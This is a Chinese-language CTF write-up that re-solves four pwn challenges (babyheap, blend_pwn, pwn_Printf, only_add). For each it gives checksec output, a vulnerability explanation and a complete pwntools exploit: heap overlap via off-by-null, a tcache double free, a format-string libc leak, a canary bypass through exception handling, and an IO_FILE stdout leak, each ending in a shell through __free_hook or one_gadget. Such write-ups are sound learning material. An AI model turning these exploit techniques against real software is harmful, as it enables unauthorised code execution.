复现一下比赛的题,太菜了自己。
babyheap checksec检查: 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/lib/x86_64-linux-gnu/'
利用: 程序在edit函数中存在off by null 漏洞,我们首先通过free chunk 到unsorted bin 中然后利用残留的libc地址,来泄露libc。接着通过将chunk free到unsorted bin 会残留prev_size,通过off by null 和残留的prev_size来照成堆重叠,接着在利用tcache double free来getshell。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #! /usr/bin/env python from pwn import * sh=process('./main') elf=ELF('./main') libc=ELF('./libc.so.6') context.log_level='debug' def add(): sh.recvuntil('>>') sh.sendline('1') def show(index): sh.recvuntil('>>') sh.sendline('2') sh.recvuntil('?\n') sh.sendline(str(index)) def edit(index,size,content): sh.recvuntil('>>') sh.sendline('3') sh.recvuntil('?\n') sh.sendline(str(index)) sh.recvuntil('Size:\n') sh.sendline(str(size)) sh.recvuntil('Content:\n') sh.send(content) def free(index): sh.recvuntil('>>') sh.sendline('4') sh.recvuntil('?\n') sh.sendline(str(index)) for i in range(7): add() add() #7 add() #8 add() #9 for i in range(7): free(i) free(7) free(8) for i in range(7): add() add() #7 show(7) main_arena=u64(sh.recv(6).ljust(8,'\x00'))-592 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3ebc40 sh.success('libc_base : ' +hex(libc_base)) free_hook=libc_base + libc.symbols['__free_hook'] sh.success('free_hook : ' +hex(free_hook)) system_addr=libc_base+libc.symbols['system'] add() #8 add() #10 add() #11 add() #12 add() #13 for i in range(7): free(i) free(9) free(10) free(11) for i in range(7): add() add() #9 add() #10 add() #11 prev_size=0x200 for i in range(7): free(i) free(9) #| edit(10,0xf8,'L0ne1y') #| ==> free chunk: chunk9+chunk10+chunk11=0x300 free(11) #| for i in range(7): add() add() #9 add() #11=>10 add() #14 free(10) edit(11,0xf0,p64(free_hook)) add() #10 add() #15 edit(15,0xf0,p64(system_addr)) edit(9,0xf0,'/bin/sh\x00') free(9) #gdb.attach(sh) sh.interactive()
blend_pwn checksec检查: 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/home/Glibc/libs/2.23/'
利用: 程序存在格式化字符串漏洞,栈溢出漏洞,UAF漏洞。发现main函数中存在try catch的捕捉异常的结构,当抛出异常的时候就能直接被main函数捕捉到之后就会进入catch,这个时候rbp就会变成main函数的ebp,异常处理结束之后直接leave,ret了,并没有检查canary的值。先用格式化字符串泄漏libc,再利用uaf leak heap_base,然后就是在heap地址上的fd+0x10后面填one_gadget,不然会因为 那个异常那边有个字符串地址写进去,又由于处理的时候会做malloc_consolodate而报错。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #! /usr/bin/env python from pwn import * sh=process('./blend') elf=ELF('./blend') context.log_level='debug' libc=ELF('libc.so.6') def show_name(): sh.recvuntil('>') #gdb.attach(sh,'b *0x55555555517c') #raw_input() sh.sendline('1') sh.recvuntil('Current user:') libc_start_main=int(sh.recv(14),16)-240 sh.success('libc_start_main : ' +hex(libc_start_main)) return libc_start_main def add(content): sh.recvuntil('>') sh.sendline('2') sh.recvuntil('input note:\n') sh.sendline(content) def free(index): sh.recvuntil('>') sh.sendline('3') sh.recvuntil('index>') sh.sendline(str(index)) def show(): sh.recvuntil('>') sh.sendline('4') def gift(content): sh.recvuntil('>') sh.sendline('666') sh.recvuntil(':') sh.send(content) sh.recvuntil(': ') sh.sendline('%11$p') libc_start_main=show_name() libc_base=libc_start_main-libc.symbols['__libc_start_main'] sh.success('libc_base : ' +hex(libc_base)) one_gadget=libc_base+0x4527a add(p64(0)*3+p64(one_gadget)) #0 add('BBBB') #1 free(0) free(1) show() sh.recvuntil('index 2:') chunk_addr=u64(sh.recv(6).ljust(8,'\x00')) sh.success('chunk_addr : ' +hex(chunk_addr)) gift('a'*0x20+p64(chunk_addr+0x20)) gdb.attach(sh) sh.interactive()
pwn_Printf checksec检查: 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fd000) RUNPATH: '/home/Glibc/libs/2.23/'
利用: 不明白为什么输入0X20就会栈溢出,太菜了,听说是Google CTF的sprintf,改天学习一下
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #! /usr/bin/env python from pwn import * sh=process('./main') elf=ELF('./main') libc=ELF('./libc.so.6') context.log_level='debug' puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] pop_rdi_ret=0x0000000000401213 sh.recvuntil('You will find this game very interesting\n') for i in range(16): sh.sendline(str(0x20)) payload='a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(0x20)+p64(0x04007C6) sh.send(payload) puts_addr=u64(sh.recv(6).ljust(8,'\x00')) libc_base = puts_addr-libc.symbols['puts'] one_gadget=libc_base+0x4527a sh.success('libc_base : ' +hex(libc_base)) payload='a'*8+p64(one_gadget) sh.send(payload) sh.interactive()
only_add checksec检查: 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/home/Glibc/libs/2.27/'
利用: 首先先填充tcache bin
1 2 3 4 5 6 7 8 9 10 for i in range(6): add(0x4f0,'AAAA') add(0x80,'AAAA') free() add(0x4f0,'AAAA') 这里的0xa8是为了后面的overlap chunk 做准备 add(0xa8,'AAAA') free() add(0x4f0,'AAAA') add(0x80,'AAAA') free()
这里是也是为了后面方便overlap chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 add(0x4f0,'AAAA') add(0x28,'AAAA') free() add(0x4f0,'AAAA') add(0x28,'AAAA') free() add(0x4f0,'AAAA') add(0x48,'AAAA') free() add(0x4f0,'AAAA') add(0x28,'AAAA') free()
生成unsorted bin,为后续利用IO_file来泄露libc做准备
1 2 3 4 #free usorted bin chunk add(0x3c0,'AAAA') add(0x80,'AAAA') free()
0xb0的chunk的下一个chunk就是我们要修改的chunk,这里我们修改其为0xf0大小,刚好会与后俩个0x30大小的chunk重叠,然后修改后的0xf0大小的chunk从0x90大小的chunk申请回来,再释放,这样就会进入0xf0大小的chunk里
1 2 3 4 5 #off by one ==> 0x90+0x30+0x30=0xf0 add(0xa8,'a'*0xa8+'\xf1') free() add(0x88,'AAAA') free()
这里我们再将之前在tcache bin 中的chunk的指针指向unsorted bin 中的chunk
1 2 add(0xe8,'a'*0x98+p64(0x21)+'a'*0x18+p64(0x21)+'\xe0') free()
这里将0x50 chunk后面的0x30chunk的size修改为0xc1,使其和unsorted bin中的chunk形成堆重叠,然后将其free掉
1 2 add(0x48,'a'*0x48+'\xc1') free()
然后再次申请回来后,修改unsorted bin 中chunk的fd后四个字节为_IO_2_1_stdout_,这里倒数第四位需要爆破,1/16的机会。
1 2 3 stdout=0xa760 add(0xb8,'a'*0x28+p64(0x91)+p16(stdout)) free()
申请chunk拿到_IO_2_1_stdout_,之前我们将原来0x30大小的chunk修改为0x20,就是为了这里。然后我们就可以拿到libc_base。
1 2 3 4 5 6 7 8 9 10 add(0x28,'AAAA') free() add(0x28,p16(stdout)) free() add(0x28,p64(0xfbad1800)+p64(0)*3+'\x00') sh.recv(0x18) _IO_2_1_stdout_=u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))+0xfe0 sh.success('_IO_2_1_stdout_ : ' +hex(_IO_2_1_stdout_)) libc_base=_IO_2_1_stdout_-libc.symbols['_IO_2_1_stdout_'] sh.success('libc_base : ' +hex(libc_base))
最后一步先调用close函数清掉buf缓冲区(因为IO那个fake chunk不满足free的要求
1 2 close_stdout() sh.recvuntil("Bye")
利用重叠的chunk来打__free_hook,最后重定位一下即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] one_gadget=libc_base+0x4f3c2 sh.success('free_hook : ' +hex(free_hook)) sh.success('system_addr : ' +hex(system_addr)) add_without(0x38,'BBBB') free_without() payload = p64(0) * 5 + p64(0x51) + p64(free_hook-0x18) add_without(0xb0,payload) free_without() add_without(0x38,'AAAA') free_without() add_without(0x38,'/bin/sh 1>&2'.ljust(0x18,'\x00')+p64(system_addr)) free_without()
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 #! /usr/bin/env python from pwn import * sh=process('./main') elf=ELF('./main') context.log_level='debug' libc=ELF('./libc.so.6') def add(size,content): sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':\n') sh.sendline(str(size)) sh.recvuntil(':\n') sh.send(content) def free(): sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':\n') sh.sendline(str(0)) def close_stdout(): sh.recvuntil(':') sh.sendline('2') def add_without(size, content): sh.sendline("1") sleep(0.1) sh.sendline(str(size)) sleep(0.1) sh.send(content) sleep(0.1) def free_without(): sh.sendline("1") sleep(0.1) sh.sendline(str(0)) sleep(0.1) for i in range(6): add(0x4f0,'AAAA') add(0x80,'AAAA') free() add(0x4f0,'AAAA') add(0xa8,'AAAA') free() add(0x4f0,'AAAA') add(0x80,'AAAA') free() add(0x4f0,'AAAA') add(0x28,'AAAA') free() add(0x4f0,'AAAA') add(0x28,'AAAA') free() add(0x4f0,'AAAA') add(0x48,'AAAA') free() add(0x4f0,'AAAA') add(0x28,'AAAA') free() #free usorted bin chunk add(0x3c0,'AAAA') add(0x80,'AAAA') free() #off by one ==> 0x90+0x30+0x30=0xf0 add(0xa8,'a'*0xa8+'\xf1') free() add(0x88,'AAAA') free() add(0xe8,'a'*0x98+p64(0x21)+'a'*0x18+p64(0x21)+'\xe0') free() add(0x48,'a'*0x48+'\xc1') free() add(0x28,'AAAA') free() stdout=0xa760 add(0xb8,'a'*0x28+p64(0x91)+p16(stdout)) free() add(0x28,'AAAA') free() add(0x28,p16(stdout)) free() add(0x28,p64(0xfbad1800)+p64(0)*3+'\x00') sh.recv(0x18) _IO_2_1_stdout_=u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))+0xfe0 sh.success('_IO_2_1_stdout_ : ' +hex(_IO_2_1_stdout_)) libc_base=_IO_2_1_stdout_-libc.symbols['_IO_2_1_stdout_'] sh.success('libc_base : ' +hex(libc_base)) close_stdout() sh.recvuntil("Bye") free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] one_gadget=libc_base+0x4f3c2 sh.success('free_hook : ' +hex(free_hook)) sh.success('system_addr : ' +hex(system_addr)) add_without(0x38,'BBBB') free_without() payload = p64(0) * 5 + p64(0x51) + p64(free_hook-0x18) add_without(0xb0,payload) free_without() add_without(0x38,'AAAA') free_without() add_without(0x38,'/bin/sh 1>&2'.ljust(0x18,'\x00')+p64(system_addr)) free_without() #gdb.attach(sh) sh.interactive()
爆破脚本: 1 2 #!/bin/bash for i in `seq 1 5000`; do python exp.py; done;
参考链接: https://www.cnblogs.com/lemon629/p/13942291.html
https://www.lyyl.online/2020/11/02/2020-%E6%B9%96%E6%B9%98%E6%9D%AF-PWN-WriteUp/